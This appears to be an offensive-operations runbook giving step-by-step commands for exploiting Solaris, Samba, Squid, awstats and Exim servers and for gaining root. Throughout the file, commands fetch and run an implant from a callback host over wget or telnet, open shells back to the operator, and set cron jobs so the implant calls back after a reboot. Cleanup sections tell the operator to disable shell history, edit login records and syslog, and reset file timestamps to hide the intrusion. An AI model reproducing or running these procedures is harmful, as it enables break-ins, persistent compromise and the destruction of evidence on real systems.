rpcbind + -l (required) + -n (no default) + -f (required) + -D def= /tmp/... + -S def= /tmp/.... + -G grinch args deprecated + + + +### Redirection: +### E='D="-l RAT-PORT"' ./bs.tr 127.0.0.1 TARGET-NAME TARGET-DOMAIN SADMIND-PORT REMOTE-DIR RAT-NAME PITCH-IP NETCAT-PORT + + +### No domainname: +E='D="-l RAT-PORT"' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + +### With domainname: +E='D="-l RAT_PORT"' ./bs.tr 127.0.0.1 TARGET_NAME TARGET_DOMAIN SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + +### Callback: +E='D="-c PITCH_IP RAT_PORT"' ./bs.tr 127.0.0.1 TARGET_NAME SADMIND_PORT REMOTE_DIR RAT_NAME PITCH_IP NETCAT_PORT + + + +###### 3. Waiting: +# you will see bursty traffic on your tcpdump, first the trigger, then the connection to upload nopen. +# Hit Ctrl-C on your nc + + +###### 4. From redirector: +-nstun TARGET_IP RAT_PORT + + # or + +-nrtun RAT_PORT + +-call PITCH_IP RAT_PORT + + + + + +###### Cleanup: + +# usually nothing + + +########################################################### +# GS - GREEN +########################################################### + +gs.auto +Usage: $PROG -i [ options ] + +-i IP IP of target machine (NO DEFAULT) +-g opt Change default GS option from ./$GS_OPTION to \"./opt\" + (can be grins, frowns or sneer). +-C str Change default community string from public to \"str\". +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: $CALLBACKDELAY seconds). Callback is to -l IP. +-k Use ksh method instead of telnet/uu*code. +-z Do NOT use uncomrpess at the either end +-r rat name of rat on target (Default: sendmail) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + \"ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1\". + If not provided or no match, /current/up/noserver is assumed. +-G Retry exploit--using already uploaded RAT (useful when you need + to try adding -P option or try another RAT callback port). + + +### Or the old way: + +# sneer(2.6) or frowns(2.7+) +gs.os.gr +Usage: /home/black/tmp/20030124-0318/./bin/gs.os.gr [options] + -i (required) + -g def= frowns + -l (required) + -n (required) + -c (no default) + -D def= /tmp/.X11R6 + -f def= nscd + -E (no default) + -A (no default) + -S DEPRECATED (and ignored) + -s DEPRECATED (and ignored) + +rpcinfo -p TARGET_IP + +rpcinfo -n GSPORT -u TARGET_IP 100249 +rpcinfo -n GSPORT -t TARGET_IP 100249 + +# From PI +-scan rpc TARGET_IP +-scan mibiisa TARGET_IP + # should respond w/ snmp version or h/w type if mibiisa is running: +-scan snmp1 TARGET_IP + # should give motd banner to tell you the OS +-scan snmp2 TARGET_IP + +# If the above don't answer, GS won't work +#if the scans answer with "No such name" then they are probably not vulnerable +# anything else might be worth a shot as long as you're getting udp 161 to target + +### In netcat window: +packrat NETCAT_PORT + + +# Tunneling +# on redirector + +-tunnel +u 161 TARGET_IP +r NETCAT_PORT +s + +# logging depends on sneer(2.6) or frowns(2.7+) + + + +# With redirector: +#./gs.os.gr -i 127.0.0.1 -g -l PITCH-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i 127.0.0.1 -g -l PITCH_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME + +# NO tunneling + +# Local window +#./gs.os.gr -i TARGET-IP -g -l LOCAL-IP -n NETCAT-PORT -D /tmp/WORK-DIR -f RAT-NAME +./gs.os.gr -i TARGET_IP -g -l LOCAL_IP -n NETCAT_PORT -D /tmp/WORK_DIR -f RAT_NAME + + +# Both cases: +#you wait 4 minutes, and you should see the upload of nopen +# Ctrl-C your nc + +### Connect to target: +### Straight connect (no redirection) +cd ../down +../bin/noclient TARGET_IP + +### Connect using redirector: +-nstun TARGET_IP + +### Cleanup: +### run cleaner after frowns (or else another callback in 4 minutes) (might be automatic now) +### rm /tmp/mibiisa_ps_data +### toast utmp, wtmp, utmpx, wtmpx + + +############################################### +# YS - YELLOW +############################################## + +### New way: + +Usage: ys.auto -i TARGETIP [options] + +-i IP IP of target machine (NO DEFAULT) +-l IP IP of attack machine (Default: the first active IP found in + this order: ppp0, ppp1, eth0 or eth1) +-n # rat upload port (Default: a random port) +-p # Use port # for RAT listen/callback. (Default: random) +-s # Change delay used for -c to # seconds (must appear before -c). +-c Use NOPEN syntax to have RAT callback after a delay (Default + delay: 3 seconds) +-z Do NOT use uncomrpess at the either end +-e Do NOT use "2>&1" on target. Fouls up in some shells. +-r rat name of rat on target (Default: sendmail) +-x # port to start mini X server on (Default: random port) +-D dir directory to work from/create on target (Default = /tmp/.scsi) +-P Assume PATH=. will fail so use ./ratname + target, and MUST NOT use uuencode on upload. +-a ARCH String used to determine which architecture NOPEN server to + upload from /current/up/morerats/ using this (note tail -1): + "ls -1 ./noserver* 2>/dev/null | grep -i ${ARCH} | tail -1". + If not provided or no match, /current/up/noserver is assumed. + +NOTE: -x # and -p# can be the same, even in callback mode. ys.auto +provides + a mechanism to allow netcat callback to finish, and its -tunnel to + close before the NOPEN server calls back on the same port. + +examples: + ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -D /tmp/.dir + ys.auto -i 10.0.3.1 + ys.auto -i TARGET_IP -l REDIRECTOR_IP + +NOTE: The only REQUIRED ARGUMENT is now -i + +The best way to back out of ys.auto once done (whether or not you get on +target) is to kill off the packrat window first with ^C then ^D. Then +kill of the xc window the same way, finally kill the ys.auto. + +ys.auto Version 1.4.1.1 + +### Old Way: +mx +:%s/XSERVER_PORT/x/g +x + +-scan xwin TARGET_IP + +### Locally: +packrat NETCAT_PORT + #or +packrat -n /current/bin/nc.YS NETCAT_PORT + +######### YS With no redirection: + +### Local Window 1: +#./wrap-sun.sh -l LOCAL-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l LOCAL_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR + +### Local Window 2: +#./xc -x LOCAL-IP -y XSERVER-PORT -s LOCAL-IP TARGET-IP +./xc -x LOCAL_IP -y XSERVER_PORT -s LOCAL_IP TARGET_IP + + + +###### YS With REDIRECTION: +###### 1. On redirector - set up nopen tunnel + +-tunnel +u 177 TARGET_IP +r XSERVER_PORT +r NETCAT_PORT +s + + +###### 2. Local window1 +#./wrap-sun.sh -l 555.41.145.11 -r sendmail -p 24389 -x 39942 -d /tmp/.scsi +#./wrap-sun.sh -l PITCH-IP -r sendmail -p NETCAT-PORT -x XSERVER-PORT -d /tmp/WORK-DIR +./wrap-sun.sh -l PITCH_IP -r sendmail -p NETCAT_PORT -x XSERVER_PORT -d /tmp/WORK_DIR + + # hit return + # type y and hit return + + +###### 3. Local Window2: + # for redirection local ip is redirector ip + +#./xc -x PITCH-IP -y XSERVER-PORT -s PITCH-IP 127.0.0.1 +#./xc -x 555.41.145.11 -y 39942 -s 555.41.145.11 127.0.0.1 +./xc -x PITCH_IP -y XSERVER_PORT -s PITCH_IP 127.0.0.1 + + # hit return + # hit return + # hit return + # (At this point you should see a continue.... in your attack1 window + + # in the attack1 window + # hit return + # hit return + # hit return + + # (you should see your upload happen...) + +### IF Exploit is successful +# DOING THE FOLLOWING WILL GREATLY REDUCE POSSIBLE LOGGING. +# ONLY HIT CONTINUE, IN THE MINI X SERVER WINDOW, ENOUGH +# TIMES TO GET THE RAT UPLOADED. +# WATCH TCPDUMP OUTPUT TO DETERMINE WHEN RAT IS UPLOADED. +# ONCE THE RAT IS UPLOADED, CONNECT +# TO THE TARGET VIA THE RAT AND DO THE FOLLOWING: + +ps -ef | grep dtlogin +kill PID + +# IF YOU SELECTED THE CORRECT dtlogin PID, THEN YOU SHOULD SEE A +# "connection closed" MESSAGE IN YOUR MINI X SERVER WINDOW. IF +# NOT, YOU SELECTED THE WRONG PID AND JUST KILLED SOMEBODY ELSE'S +# dtlogin. IF ALL GOES WELL, HIT control ^C IN THE MINI X SERVER +# WINDOW AND THE XC WINDOW. + + + # Ctrl-C your nc window + # Ctrl-C your xc window + + +###### Double window way: + + +### Local scripted (you'll type commands in this): +nc -l -p RPORT1 + +###Local scripted (your output from above will appear here): +nc -l -p RPORT2 + +### or instead, use doublet in a scripted window (type and output all in same window): +doublet -O -t -i PITCH_IP RPORT1 + +### then set up the tunnels as below, and use wrap-telnet.sh and xc + +### Scripted #1 +wrap-telnet.sh -l REDIRECTIP -p RPORT1 -s RPORT2 -x XPORT + +### Scripted #2 +# xc -x REDIRECTIP -y XPORT -s REDIRECTIP 127.0.0.1 + +### Redir +# -tunnel +# u 177 TARGET_IP +# r XPORT +# r RPORT1 +# r RPORT2 +# r NETCAT_PORT + + +#w/o tunneling +cd ../down +../bin/noclient TARGET_IP + +#w/ tunneling. In redirector window +-nstun TARGET_IP + +-rm RAT_NAME + +###### Cleaning up ###### +### The error log file is configurable and so you must examine +### their xdm-config file to find out where errors are being +### logged. +### +### HAVE TO LOOK THROUGH "find" file from getscript + +egrep -i '(xdm-config|errors|xerror)' /current/*find*m + +### if no find available one of these will probably find it + +-ls /tmp/*errors /var/dt/*errors +-cat error_file + +-grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages + +-ls -t /var/dt/ + +### you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +### if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +### if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +### subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +### if it looks good: + +cat t > /var/dt/Xerrors +-cat /var/dt/Xerrors +-rm t + +-ls -t /var/adm +### anything that has a reasonably current timestamp you should check + +### toasting the login entries..... + +### Target window +-put ../up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date +./t -l /var/adm/lastlog /var/adm/wtmpx user + +################################################ +# CATFLAP +################################################ + +### on redirector + +-stun TARGET_IP 23 + # or +-tunnel +l 2323 TARGET_IP 23 +r NETCAT_PORT + +### Local window +# run catflap to generate output for pasting into telnet: +# syntax: +/current/bin/catflap_sparc -h + + +# Ex: +#/current/bin/catflap_sparc -7 -c "/bin/sh" +/current/bin/catflap_sparc - -c "/bin/sh" + + +### on redirector + +-rtun NETCAT_PORT + +### Local window + +ftshell telnet localhost 2323 + +### paste catflap output once you get telnet prompt + + +### should get root prompt +### Now upload rat + +### with ftshell: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +~~p +noserver sendmail +ls -la +chmod 700 sendmail +PATH=. D="-l RAT_PORT" sendmail + +### now root on target (do the following if you did NOT use ftshell) +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +cd /tmp +mkdir WORK_DIR +cd /tmp/WORK_DIR +pwd +telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la +uncompress sendmail.Z +netstat -an | grep RAT_PORT +D="-l RAT_PORT" PATH=. sendmail + +### pitch window +-nstun TARGET_IP RAT_PORT + +### or in root target window/nc once +### you have nopen on target + +-put /current/up/toast t +-ls -t /var/adm /var/log + +### look at entries + +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 + + + +############################################ +# EXPOSITTRAG +############################################ + +# exploit pcnfsd version 2.x (fails on v.1 or 3+) + +# +# whatever redirector you use, port 514 cannot +# be in use + +netstat -an | grep 514 + +# to determine the version + +-scan rpc TARGET_IP + +-tunnel +u UDP_PCNFSD_PORT TARGET_IP + +# LOCAL +#./prout -w TARGET_IP UDP_PCNFSD_PORT +./prout -w 127.0.0.1 791 + + +# pcnfsd version 1, version 3 and higher are not vulnerable +packrat PACKRAT_PORT + +-tunnel +r PACKRAT_PORT +u PCNFSDPORT TARGET_IP + +# An example of nopen.t: (note the size of the this file is 482. If you make +# modifications, change the size appropriately) +# use nopen.t file from build, if not +# can be made with hexedit + +C0755 482 t +#!/bin/sh +PATH=/usr/local/sbin:/usr/local/bin:/usr/local/etc:/usr/sbin:/usr/bin:/opt/SUNWspro/bin:/etc:/usr/ccs/bin:/usr/lib/nis:/ +usr/sbin:/usr/bin +export PATH +mkdir /tmp/.scsi +cd /tmp/.scsi +telnet PITCH_IP PACKRAT_PORT < /dev/console |uudecode +uncompress -f sendmail.Z +chmod +x sendmail +#PATH=. D=-cPITCH_IP:NOPEN_PORT sendmail +PATH=. sendmail +/etc/init.d/pcnfs stop +/etc/init.d/pcnfs start + + +nc -vv -l -p 514 < nopen.t # edit nopen.t, note the size, subtract 14 from the actual size and replace 482 with the new +size + +-rtun 514 127.0.0.1 + +#./slugger2 TARGET_IP TARGET_PORT CMD [PRINTER_NAME] + +./slugger2 TARGET_IP TARGET_PORT "cd .. +cd .. +cd .. +cd .. +cd tmp +rcp -p PITCH_IP:t .t +sh .t +" + +# CLEANUP +/bin/rm /tmp/.t +# also might be /tmp/-p +/bin/rm -rf /tmp/.scsi + +# /var/adm/messages will have pcnfs errors +# check history files + +###################### ECHOWRECKER ##################### +# samba server vulnerability + +# Samba 3.0.2a-9AX and Samba 3.0.5 are currently vulnerable +# Samba 2.x on Redhat 7.3, 8.0, and 9.0 are vulnerable + +-scan win_scan TARGET_IP + +-tunnel +l 139 TARGET_IP +r RATPORT + +./echowrecker_quiet -O -h -c [-s ] [-e ] [-a ] [-b] [-l] [-d ] [-i ] +General cases: +0 - Samba 3.0.2a-9AX [uses info leak] +1 - Samba 3.0.5 [uses info leak] +2 - Samba 2.2.7a (rh9 default) [uses info leak] (DO NOT USE) +Specific cases: +3 - Redflag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after restart of smb service) +4 - RedFlag 4.0 (kernel 2.4.20 samba 3.0.2a-9AX) (after reboot of server) +5 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after restart of smb service) +6 - RedFlag 4.0 AS SE (kernel 2.4.20 samba 2.2.8) (after reboot of server) +7 - RedHat 7.3 (kernel 2.4.18-3 samba 2.2.3a) +8 - RedHat 8.0 (kernel 2.4.18-14 samba 2.2.5) +9 - RedHat 9.0 (samba 2.2.7) +10 - SuSE 9.0 (kernel 2.4.21 samba 2.2.8a) + +-b = turn bruteforcing on +-l = just do info leak and print returned bytes - good for fingerprinting +-d = seconds of delay between brute force attempts +-s = start of address range to brute force for the location of the shellcode +-e = end of address range to brute force for the location of the shellcode +-a = address in GOT of function pointer to overwrite (usually 'free') [exactly, not the addr-0xc] + to find it -> # objdump -R /usr/sbin/smbd | grep free +-s, -e, -i, -a should be input in hex (ie 0x1000) + +-c = command to run on server as euid root +Ex: -c "/usr/bin/wget -O /tmp/a http://555.1.2.21/noserver && chmod 755 /tmp/a && /tmp/a" + +========================================================= +Also, if the use of the "quiet" echowrecker edition is desired, usage is such: +$ make quiet +$ ./echowrecker_quiet -O 0 -h 127.0.0.1 -c "/usr/bin/wget -O /tmp/a http://PITCH_IP:RATPORT/crond && chmod 755 /tmp/cron +d && /tmp/crond" +. +Found [20] to try +Trying [1 of 100] +Trying [2 of 100] +etc... + +###################### ELECTRICSLIDE ##################### +# Heap Overflow in squid 2.5.STABLE1-2 redhat 9.0 +-scan 3128 TARGET_IP + +-tunnel +l 3128 TARGET_IP + +-tunnel 9999 udp + +./electricslide.pl -t -o -d -l +[-U ] [-P ] [-n ] [-f ] [-a ] + + -h, --help Print this helpful message + -t, --target Target Squid server ip + -o, --target-type Target type (see list below) + -l, --listen Electricslide listen port which Squid will connect to + -U, --proxy-user Proxy-Auth user name (if required) + -P, --proxy-pass Proxy-Auth password (if required) + -n, --nopen Set to port of UDP nopen tunnel + -f, --nopen_forward The address and port of the target machine to forward + the attack to through the nopen tunnel + -a, --local-addr The local ip address (not 127.0.0.1) + -d, --delay Web server exploit transmit delay + (The web server will delay the last + 400 bytes of the payload this number of seconds. + This ensures that the shellcode will be in proper + alignment when the exploit occurs. Default 30) + + Examples: +# - Shooter with receiver on port 80: +#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0 +# +# - Shooter with receivers on port 80 using proxy auth: +#./electricslide.pl -t TARGET_IP:3128 -l LOCAL_IP:80 -d 30 -o 0 -U "user" -P "password" + +./electricslide.pl -t 127.0.0.1:7777 -l PITCH_IP:8888 -o 0 -n 9999 -f TARGET_IP:3128 + +nc 127.0.0.1 9999 + +# or +eslide [options] <-t profile> <-l listenerip> + +-------------------------------------------------------------------------- +Options: + -A + Proxy authentication info in username:password format + + -l + The ip address for the connect-back proxy request. + + -p + The target port. Default: 3128 + + -P + The connectback port. Must be allowed by proxy. Default: 80 + + -t + The profile number. See supported profiles below + + -k + Disable the firing of the killer profile which gets a fresh heap (at your own risk!) + + +Profiles: + [0] Gentle Persuasion + [1] Redhat 9 + +./electricslide -t 1 -l LOCAL_IPorPITCH_IP TARGET_IPor127.0.0.1 + + +###################### ELMIRASIGNET ##################### +# vulnerability in awstats software < 6.3 on apache server +# jogswirl + +-tunnel +l 80 TARGET_IP +r 5555 + +# vulnerable ? + +-scan http TARGET_IP + + # galeon http://127.0.0.1/cgi-bin/awstats.pl + Advanced Web Statistics 6.1 (build 1.704) + + # ./xp_awstats.pl -i 127.0.0.1 -d /cgi-bin/awstats.pl -e 0 -c "uname -a;ls -la;w" + +./xp_awstats.pl -i -d -e -c + + -i <127.0.0.1> + -d + -p + -e + 0: ?pluginmode=:system("CMD"); + 1: ?configdir=|CMD| + 2: ?update=1&logfile=|CMD|&framename=mainright + -c + +Examples: +1) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"uname -a;ls -la;w" +2) ./xp_awstats.pl -i http://127.0.0.1/cgi-bin/awstats.pl -e3 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http:// +PITCH_IP:5555/sendmail -Osendmail;chmod +x sendmail;D=-cPITCH_IP:9999 PATH=. sendmail) 2>/dev/null" + +-nstun TARGET_IP:9999 + +###################### ERRGENTLE ########################## +# exploits vulnerability Exim 3.22 thru Exim 3.35 Mail Transfer Agent +# brute force + +###### Version 3 +# Upload on PITCHIMPAIR and run +netstat -an | grep LISTEN | grep 113 + +mkdir /tmp/.scsi +-cd /tmp/.scsi +-put /current/bin/xp-exim-3-remote-solaris-v3 x + +-shell +./x -i TARGET_IP -p 25 -d SCAPEGOAT_DOMAIN -u nobody -t +# states if vulnerable; hit return to throw if vulnerable +# takes about 1000 hits; scrolls fast; will get root prompt +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +id +pwd +# will put you in /usr/exim-3.33/spool +PATH=. crond + +exit + +-rm /tmp/.scsi/x /tmp/.scsi + + +# check /var/log/messages for audit message or PAM failed attempt, + + +###### Version 2 + +-tunnel +l 25 TARGET_IP +r 113 +r RANDOM_PORT + +# test susceptability: + +-scan mail TARGET_IP + +./xp-exim-3-v3 -i 555.1.2.150 -p 25 -t -d a.jetson.net -u nobody + +./xp-exim-3 -i 127.0.0.1 -p 25 -c "sh &0 2>&0" -t + +# response should be something like: +# It's vulnerable! Hit a key to start + + +# change location of heap to point to other location using -l: + +./xp-exim-3 -i 127.0.0.1 -p 25 -t -l2 -c "sh &0 2>&0" + +# or + +(echo -e "HTTP/1.0 200\n";cat sendmail) | nc -vv -l -p RANDOM_PORT + +# older versions of redhat cannot use /dev/tcp redirection, use wget; + +./xp-exim-3 -i 127.0.0.1 -c "mkdir /tmp/.scsi; cd /tmp/.scsi; wget http://PITCH_IP:RANDOM_PORT/sendmail -osendmail;chmod +x sendmail*; PATH=. sendmail;PATH=. sendmail.1; PATH=. sendmail.2;" + +## clean logs +# several entries in /usr/exim/spool/log/* +# with something like unqualified sender rejected + +-lt /var/log/messages +-lt /var/log/maillog +-lt /usr/exim/spool/log +-tail /usr/exim/spool/log/rejectlog +-tail /usr/exim/spool/log/mainlog + + + + + +############################################ +# TOOLTALK -DEC, IRIX, or Sol2.6 or earlier +############################################ + +-scan rpc TARGET_IP + +# look for 100083 1 tcp 30889 ttdbserverd + +rpcinfo -n TTDBSERVERD_PORT -t TARGET_IP PROG_NUM + +packrat pmgrd NETCAT_PORT + +#ex:./dec_tt.tn.gr 1 200.21.200.2 LOCAL_IP 25 /tmp/.advtags 30889 +./dec_tt.tn.gr 1 TARGET_IP LOCAL_IP NETCAT_PORT /tmp/WORK_DIR 30889 + + + + +################################################ +### VS - VIOLET +### You need to do this exploit from a box very close (ideally on the same net) +### as the target because of the traffic it generates. +### Reference the README file in /current/bin for help on the new version +################################################ +#Start Xserver on local ops machine prior to logging in + +### VS version5 +xhost + +iptables -F +netstat -an |grep 6000 (make sure local xserver is listening) + + + +### run the test version first to get the times (if vulnerable): +-put /current/bin/vs.gettime.sol.sparc v +rpcinfo -p TARGET_IP +#Ex: ./v -i 202.83.160.51 -h ATMNMS -n 34647 -p 443 +./v -i TARGET_IP -h HOSTNAME -n TCP_PROGRAMPORT -p CALLBACK_PORT + +### hit return when prompted; once you get the times for the cookie +### you can throw the attack thru the redirector + +-rm v +-cd /tmp +-rm .scsi + +### set up the tunnels, using whichever ports you think can call back: +-tunnel +l TCP_PROGRAMPORT TARGET_IP +r 8080 127.0.0.1 6000 +r 443 + + +### locally, send the exploit: +./vs.attack.linux -i 127.0.0.1 -h HOSTNAME -x 8080 -c PITCH_IP -p 443 -n TCP_PROGRAMPORT -7(optional) -v 5 -T SECOND_FROM_GETTIME -t MICROSECS_FROM_GETTIME + + +### a dtterm should eventually pop up - get that mouse outta the way; get those unsets ready! + + + + + + + + +###old way: + + +xhost + +iptables -F +netstat -an |grep 6000 (make sure local xserver is listening) + + #connect to redir (you'll need two windows, one for the tunnel, + #one to run the exploit) + + #create a working dir on redir + #upload nopen + #start nopen + + #check if you'll need to elevate (hope to see superuser next to + # vs port): +rpcinfo targetIP (no options) + + #prepare vs.sparc command or vs.linux (depending on OS of local + # box or redir box) + #upload vs.sparc executable to redir + #create tunnel in nopen redir window + +r 22222 127.0.0.1 6000 + + #paste vs command into 2nd nopen window (on redir) +-shell +./vs.sparc -7 -v 5 -i IP -h name -D -q PITCH_IP -p tunnelport -n programport + + #hit return when prompted and wait possibly a long time) + #keep mouse/cursor away from area where window may pop up + #watch tcpdump window + + #when dtterm pops up, paste each command: +w +df -k + + #hit return on netcat window + #create another tunnel to netcat +r 32177 + + #in dtterm, paste upload command + + #be sure to allow enough time for upload to get past redir and + # all the way to target + +controlC netcat + + #from redir, attempt to connect to target w/ nopen + + #if successful, paste "exit" in dtterm + + #If not, may have to start in callback mode + + #paste upload commands +#./vs.linux -i target_ip -h hostname -r prog_num -v rpc_version -D -q local_ip -p 6000 -n ? + + ./vs.linux -i -h -D -q -p 6000 -v 5 -r -n 52213 + + +#Misc ex: + + ./vs.linux -i 555.1.2.79 -h blade1000 -D -q 554.208.30.2 -p 6000 -v 5 -r 1289637086 -n 52213 + +mkdir /tmp/.scsi; cd /tmp/.scsi; telnet local_ip port ] [-u ] [-g ] [-n] + +./eb + +id + +### start a new nopen as root: +PATH=. D="-l RANDOM" sendmail + +-nstun TARGET_IP RANDOM + +-rm eb mod32 + +######################################################### +# WALNUTSMOOTHY +######################################################### +# elevate to root: Sol 2.5.1-2.8 + +mkdir /tmp/1291aaab/ +-put /current/up/efs f +cp f /tmp/1291aaab + +-shell +cd /tmp/1291aaab +pwd +./f +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE + +id +cd /tmp/.scsi + +head /etc/passwd + +### start a new nopen as root while in -shell: +PATH=. D="-l RANDOM" sendmail +exit + +### connect to privileged nopen: +-nstun TARGET_IP RANDOM + +### burn unprivileged nopen + +### cleanup files +-rm /tmp/1291aaab/f f sendmail +-rm /tmp/1291aaab +-lt /tmp + + +######################################################### +# EXTREMEPARR +######################################################### +# elevate to root: Sol 2.6-2.9 + +### +### make sure this exists: +-ls /usr/dt/bin/dtappgather + +### Upload the proper version +-cd /tmp/.scsi +-put /current/up/exp.x.tar.Z b.tar.Z +uncompress b.tar.Z +tar -xf b.tar + +### Find a setuid root program to use for the exploit +### The following should work: +### w, ps -ef, at -l, whodo, who, and ls -al +### Pick a program, determine the location, and verify setuid root is there +### (should see perms of -rwsr-xr-x) +which at +-ls /bin/at + +### Verify su is NOT in the locale directory already +ls -al /usr/lib/locale/su + +### Rename the shared object to have the name of 'su' or whichever loacale you use instead +### Be sure you use the correct version for the system's architecture +cp su.so.2.789x su.so.2 +-ls -t + + +### Have a copy of nopen in your working directory to start up once you get root: +-put /current/up/noserver sendmail +-ls + +### Insert the local shared object /usr/lib/locale by running the following +### This will also generate itime commands to use later when cleaning up, +### normal error messages, and an indication of the success/failure of th +### insertion of the object into /usr/lib/locale +./exp su +echo "" | at now + 180 mins + +### Set up your variables +-getenv +-setenv LC_TIME=su +-getenv +at -l +-shell +LC_TIME=su +export LC_TIME +at -l +id +pwd +cd /tmp/.scsi +PATH=. sendmail +exit +exit + +### Connect from pitch to new noserver that has root privileges +-nstun TARGET_IP + + +### Burn your unprivileged nopen session and connect agin to new noserver +-burn +-nstun TARGET_IP + + +### Cleanup +at -l +at -r 1085530072.a +at -l +ls -al /.sh_history +-ls -t / +ls -lart /usr/lib/locale +rm /usr/lib/locale/su/* +rmdir /usr/lib/locale/su +-lt /usr/lib/locale +ls -al /usr/lib | grep locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +chmod 755 /usr/lib/locale +chmod 755 /var/dt/appconfig/appmanager +chmod 755 /var/dt/appconfig +chown bin:bin /usr/lib/locale +chown root:root /var/dt/appconfig/appmanager /var/dt/appconfig +ls -al /usr/lib | grep locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +-touch /usr/lib/localedef /usr/lib/locale +-w +-ls -t +id +-w +-ls +-ls -t /usr/lib/locale +-ls -t /usr/lib/locale/iso_8859_1 +-ls -t /usr/lib/locale/iso_8859_1/LC_CTYPE +-touch /usr/lib/locale/iso_8859_1 /usr/lib/locale/. +touch -r /usr/lib/locale/iso_8859_1 /usr/lib/locale/. +-ls -t /usr/lib/locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +-ls -t /var/dt/ +-ls -t /var/dt/appconfig +touch -r /var/dt/. /var/dt/appconfig/appmanager +touch -r /var/dt/. /var/dt/appconfig/. +-ls -t /var/dt/appconfig +-ls -t /var/dt/ + +### Clean up directory +-ls -t +-rm sendmail empty su.so.2 b.tar exp su.so.2.789x su.so.2.6x +-ls -t + +### Check crontabs and logs if you used 'at' +-ls -t /var/adm +-ls -t /var/spool/cron +-ls -t /var/spool/cron/atjobs +touch -r /var/spool/cron/crontabs /var/spool/cron/atjobs +-tail -40 /var/cron/log + +### Toast and sgrep your initial exploit + + +####################################### +### EVENTSTART +####################################### + +### might reboot box on first try; after the reboot, it should work +### if you exploited an http service (like w/ EMBERSNOUT) make sure that +### service is started upon reboot; RH9.0 doesn't restart http by default +### unless the admin changed the config + + +### verify http is restarted at reboot: +-ls -t /etc/init.d +-ls -t /etc/rc.d/rc3.d +-ls /etc/rc.d/rc*.d/*htt* +chkconfig --list |grep htt +runlevel + + +### start a cron job to call nopen in case of a reboot (if you won't be able to reexploit) +### set the time to remove itself to the next hour (use both local and UTC time) + +vi /current/down/crontab: +0,5,10,15,20,25,30,35,40,45,50,55 * * * * sh -c "D=-cPITCH_IP:PORT /tmp/.httpd-lock/crond" +0 1,17 * * * crontab -r + +### on target: +date; date -u +-ls -t /var/log/cron +-ls -t /var/spool/cron +-cat /etc/syslog.conf +crontab -l +-put /current/down/crontab crontab +-cat crontab +crontab crontab +crontab -l +date + + + +### upload eventstart: +-put /current/up/h h + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +pwd +ls -l +PATH=. sendmail +exit +exit + + +### remove crontab after you elevate (or reboot - haha!) +crontab -r + +####################################### +# PTRACE/FORKPTY +####################################### + +### new exploit is ptrace-kmod; it's a kernel exploit, no suid needed. +### works on linux 2.2 -> 2.4, ex) RH8.0 and MDK 9.0 +### might have to run it twice before it works. +### other ptraces are older and need to run against a setuid program that won't log +### like /usr/sbin/usernetctl, /usr/sbin/userhelper, or /usr/sbin/traceroute +# find / -fstype nfs -prune -o -type f \( -perm -4000 \) -user root -ls > o +# get o + +#### get ptrace, forkpty, and nopen tarball ready to send: +cd /current/up +cp ptrace pt +cp noserver sendmail +cp forkpty fp +tar cvf 1u.tar pt sendmail fp +uuencode 1u.tar 1u.tar > 1u.tar.uu + +nc -l -p NETCAT_PORT < 1u.tar.uu + +#### to elevate and also get nopen there: +cd /tmp +mkdir .scsi +cd .scsi +telnet LOCAL_IP NETCAT_PORT > src + Connection closed by foreign host. +ls -la +uudecode src +ls -la +tar xvf 1u.tar +ls -la +chmod 700 fp sendmail pt +./fp + +#### at sh-prompt, type: +tty +./pt +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +PATH=. sendmail + + +######################################## +# TFTPD - upload image to router +######################################## + + +### get on redirector with nopen + +mkdir /tmp/.scsi +chmod 777 /tmp/.scsi 